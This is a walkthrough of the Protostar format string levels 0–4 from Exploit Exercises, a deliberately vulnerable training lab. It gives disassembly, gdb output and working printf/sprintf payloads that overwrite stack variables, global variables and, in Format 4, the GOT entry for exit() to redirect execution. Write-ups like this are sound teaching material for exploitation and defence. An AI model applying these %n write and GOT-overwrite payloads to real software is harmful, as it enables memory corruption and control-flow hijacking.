Exploit Exercises - Protostar - Format String levels



Format 0

First of all, we take a look at the disassembly.

0x08048431 <main+6>:    sub    $0x10,%esp
0x08048434 <main+9>:    mov    0xc(%ebp),%eax    ; load pointer to the address of first argument
0x08048437 <main+12>:   add    $0x4,%eax         ; increment to get to the pointer of the second argument
0x0804843a <main+15>:   mov    (%eax),%eax       ; resolve pointer-pointer
0x0804843c <main+17>:   mov    %eax,(%esp)       ; store at adress of esp
0x0804843f <main+20>:   call   0x80483f4 <vuln>
0x080483fa <vuln+6>:    movl   $0x0,-0xc(%ebp)
0x08048401 <vuln+13>:   mov    0x8(%ebp),%eax
0x08048404 <vuln+16>:   mov    %eax,0x4(%esp)
0x08048408 <vuln+20>:   lea    -0x4c(%ebp),%eax         ; load address of target buffer
0x0804840b <vuln+23>:   mov    %eax,(%esp)              ; load address of second argument
0x0804840e <vuln+26>:   call   0x8048300 <sprintf@plt>
0x08048413 <vuln+31>:   mov    -0xc(%ebp),%eax
0x08048416 <vuln+34>:   cmp    $0xdeadbeef,%eax
0x0804841b <vuln+39>:   jne    0x8048429 <vuln+53>
0x0804841d <vuln+41>:   movl   $0x8048510,(%esp)
0x08048424 <vuln+48>:   call   0x8048330 <puts@plt>

So this program takes a startup argument. This input is then utilized in the sprintf at 0x0804840e. So to exploit this sample we have to perform a format string attack. The format string variable is located at EBP-0x4c. The variable for the challenge relevant comparison is located at EBP-0xc. So we need to write 64 bytes to align the payload of 0xdeadbeef. To write 64 bytes the format string expression %64x will suffice. Finally, we can complete the level with the following command.

user@protostar:/$ /opt/protostar/bin/format0 $(python -c 'print "%64x"+ "\xef\xbe\xad\xde"')
you have hit the target correctly :)

Format 1

In this scenario we have to manipulate a specific location on the heap. Let’s examine the vuln function to get a better idea.

0x080483fa <vuln+6>:    mov    eax,DWORD PTR [ebp+0x8]
0x080483fd <vuln+9>:    mov    DWORD PTR [esp],eax
0x08048400 <vuln+12>:   call   0x8048320 <printf@plt>
0x08048405 <vuln+17>:   mov    eax,ds:0x8049638
0x0804840a <vuln+22>:   test   eax,eax
0x0804840c <vuln+24>:   je     0x804841a <vuln+38>
0x0804840e <vuln+26>:   mov    DWORD PTR [esp],0x8048500
0x08048415 <vuln+33>:   call   0x8048330 <puts@plt>

The location in question is 0x08049638. The variable is located in the .data section, indicating a global variable.

Like the previous example the user can supply an argument for printf. This type of printf vulnerability allows direct parameter access. To overwrite the target we have to find the correct offset to skip. We can calculate rough estimate by looking at the following addresses.

(gdb) x/4x $esp
0xbffff5f0:     0xbffff843      0x0804960c      0xbffff628      0x08048469
(gdb) x/2s 0xbffff843
0xbffff843:      "AAAA"

The required offset will be at round 0x141 bytes (0xbffff843 - 0xbffff5f0). This makes for about 149 words to skip. To get an exact number we can utilize the following command.

user@protostar:/opt/protostar/bin$ /opt/protostar/bin/format1 $(python -c 'print "AAAA"+".".join(["%d:%%x" % i for i in range(1,150)])')
... 143:74616d72.144:41410031.145:3a314141.146:322e7825 ...

So the address is aligned between words 144 and 145. With an alignment we have identified the correct offset. The respective command to complete the level is as follows.

user@protostar:/$ //opt/protostar/bin/format1 $(python -c 'print "\x38\x96\x04\x08%144$n"')

Format 2

This example is based on the previous level 1. First, we will take a look at the relevant parts of the assembly.

0x0804846e <vuln+26>:   lea    -0x208(%ebp),%eax
0x08048474 <vuln+32>:   mov    %eax,(%esp)
0x08048477 <vuln+35>:   call   0x804835c <fgets@plt>
0x0804847c <vuln+40>:   lea    -0x208(%ebp),%eax
0x08048482 <vuln+46>:   mov    %eax,(%esp)
0x08048485 <vuln+49>:   call   0x804837c <printf@plt>
0x0804848a <vuln+54>:   mov    0x80496e4,%eax
0x0804848f <vuln+59>:   cmp    $0x40,%eax
0x08048492 <vuln+62>:   jne    0x80484a2 <vuln+78>

Once again, we have to calculate the correct offset. For the estimate we take a look at the stack during runtime.

(gdb) x/2x $esp
0xbffff410:     0xbffff420      0x00000200
(gdb) x/2s 0xbffff420
0xbffff420:      "aaa\n"
0xbffff425:      ""

This makes for an offset of 0x10 bytes. We calculate the exact offset with previously discussed the method.

user@protostar:/$ python -c 'print "AAAA"+".".join(["%d:%%x" % i for i in range(1,10)])' | /opt/protostar/bin/format2
target is 0 :(

Now we only need to go back 4 words to access to desired memory location.

user@protostar:/opt/protostar/bin$ python -c 'print "\xe4\x96\x04\x08%4$n"' | /opt/protostar/bin/format2

target is 4 :(

The problem is, that we still need to set the value to 0x40. In fact printf stores the number of written bytes at the target offset. So we simply increase output size and voila:

user@protostar:/opt/protostar/bin$ python -c 'print "\xe4\x96\x04\x08%52x%x%4$n"' | /opt/protostar/bin/format2
you have modified the target :)

Format 3

This example is once again based on the previous level. Let’s examine the changes in assembly for starters.

0x0804845a <printbuffer+6>:     mov    0x8(%ebp),%eax
0x0804845d <printbuffer+9>:     mov    %eax,(%esp)
0x08048460 <printbuffer+12>:    call   0x804837c <printf@plt>
0x08048475 <vuln+14>:   mov    %eax,0x8(%esp)
0x08048479 <vuln+18>:   movl   $0x200,0x4(%esp)
0x08048481 <vuln+26>:   lea    -0x208(%ebp),%eax
0x08048487 <vuln+32>:   mov    %eax,(%esp)
0x0804848a <vuln+35>:   call   0x804835c <fgets@plt>
0x0804848f <vuln+40>:   lea    -0x208(%ebp),%eax
0x08048495 <vuln+46>:   mov    %eax,(%esp)
0x08048498 <vuln+49>:   call   0x8048454 <printbuffer>
0x0804849d <vuln+54>:   mov    0x80496f4,%eax
0x080484a2 <vuln+59>:   cmp    $0x1025544,%eax
0x080484a7 <vuln+64>:   jne    0x80484b7 <vuln+80>

The fgets() call is restricted with a length restriction. Also, the printf() function is encapsulated in a function call. Finally, to complete the level the the global variable at 0x080496f4 has to be manipulated. The value has to be set to 0x01025544.

We try to narrow down the correct offset to access the target memory location.

(gdb) x/2x $esp
0xbffff3f0:     0xbffff420      0x00000000
(gdb) x/4s 0xbffff420
0xbffff420:      "aaaa%x\n"
0xbffff428:      "$\365\377\267"

This makes for an offset of 0x10 bytes. We calculate the exact offset with previously discussed the method.

user@protostar:/$ python -c 'print "AAAA"+".".join(["%d:%%x" % i for i in range(1,15)])'`" | /opt/protostar/bin/format3
target is 00000000 :(

So the respective command to overwrite the target buffer is as follows.

user@protostar:/$ python -c 'print "\xf4\x96\x04\x08"+"%12$n"' | /opt/protostar/bin/format3

target is 00000004 :(

The required value in the target buffer cannot be set with one write operation. The simplest way is to set every byte seperatly.

user@protostar:/$ python -c 'print "\xf4\x96\x04\x08"+"\xf5\x96\x04\x08"+"\xf6\x96\x04\x08"+"\xf7\x96\x04\x08"+"%01x%12$n"+"%17x%13$n"+"%17x%14$n"+"%17x%15$n"' | /opt/protostar/bin/format3
���0         bffff420         b7fd7ff4                0
target is 44332211 :(

Now we just have to adjust every offset to match the desired value. To do this, we adjust the printed bytes before every write to memory.

user@protostar:/$ python -c 'print "\xf4\x96\x04\x08"+"\xf5\x96\x04\x08"+"\xf6\x96\x04\x08"+"\xf7\x96\x04\x08"+"%52x%12$n"+"%17x%13$n"+"%173x%14$n"+"%255x%15$n"' | /opt/protostar/bin/format3
you have modified the target :)

Format 4

For this exercise we have to manipulation the execution flow. In partiuclar, we have to execute the hello() function at 0x080484b4. The assembly directly points out where we have to start working.

0x080484b4 <hello+0>:   push   ebp
0x080484b5 <hello+1>:   mov    ebp,esp
0x080484b7 <hello+3>:   sub    esp,0x18
0x080484ba <hello+6>:   mov    DWORD PTR [esp],0x80485f0
0x080484c1 <hello+13>:  call   0x80483dc <puts@plt>
0x080484c6 <hello+18>:  mov    DWORD PTR [esp],0x1
0x080484cd <hello+25>:  call   0x80483bc <_exit@plt>
0x080484db <vuln+9>:    mov    eax,ds:0x8049730
0x080484e0 <vuln+14>:   mov    DWORD PTR [esp+0x8],eax
0x080484e4 <vuln+18>:   mov    DWORD PTR [esp+0x4],0x200
0x080484ec <vuln+26>:   lea    eax,[ebp-0x208]
0x080484f2 <vuln+32>:   mov    DWORD PTR [esp],eax
0x080484f5 <vuln+35>:   call   0x804839c <fgets@plt>
0x080484fa <vuln+40>:   lea    eax,[ebp-0x208]
0x08048500 <vuln+46>:   mov    DWORD PTR [esp],eax
0x08048503 <vuln+49>:   call   0x80483cc <printf@plt>
0x08048508 <vuln+54>:   mov    DWORD PTR [esp],0x1
0x0804850f <vuln+61>:   call   0x80483ec <exit@plt>

So we have to manipulate the final call to exit(). Let’s examine the respective instructions.

(gdb) x/i $eip
0x804850f <vuln+61>:    call   0x80483ec <exit@plt>
(gdb) x/3i 0x80483ec
0x80483ec <exit@plt>:   jmp    DWORD PTR ds:0x8049724
0x80483f2 <exit@plt+6>: push   0x30
0x80483f7 <exit@plt+11>:        jmp    0x804837c
(gdb) x/x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x080483f2

We have to write the target address of hello() to 0x08049724. First, we identify the offset for our address. This time we use gdb to do just that.

(gdb) x/12x $esp
0xbffff410:     0xbffff420      0x00000200      0xb7fd8420      0xbffff464
0xbffff420:     0x61616161      0x0000000a      0xb7fff524      0x00000000
0xbffff430:     0xb7fff524      0xbffff4c0      0xb7fe35c9      0x00000007

We already had the address of the target buffer. Also, the desired value for the target buffer is clear. With an offset of 4 we now can continue.

user@protostar:/opt/protostar/bin$ python -c 'print "\x24\x97\x04\x08"+ "\x25\x97\x04\x08"+ "\x26\x97\x04\x08"+ "\x27\x97\x04\x08"+ "%164x%4$n"+ "%208x%5$n"+ "%128x%6$n"+ "%4c%7$n"' | /opt/protostar/bin/format4
code execution redirected! you win

With the reuse of the existing address we can optimze the size. To do this, we have to utilize the short write hf for printf. This reduces the overall length of the command to complete this exercise.

user@protostar:/opt/protostar/bin$ python -c 'print "\x24\x97\x04\x08"+ "%33968c%4$hn"' | /opt/protostar/bin/format4
code execution redirected! you win

Links and References

Exploit Exercises

Return-oriented Programming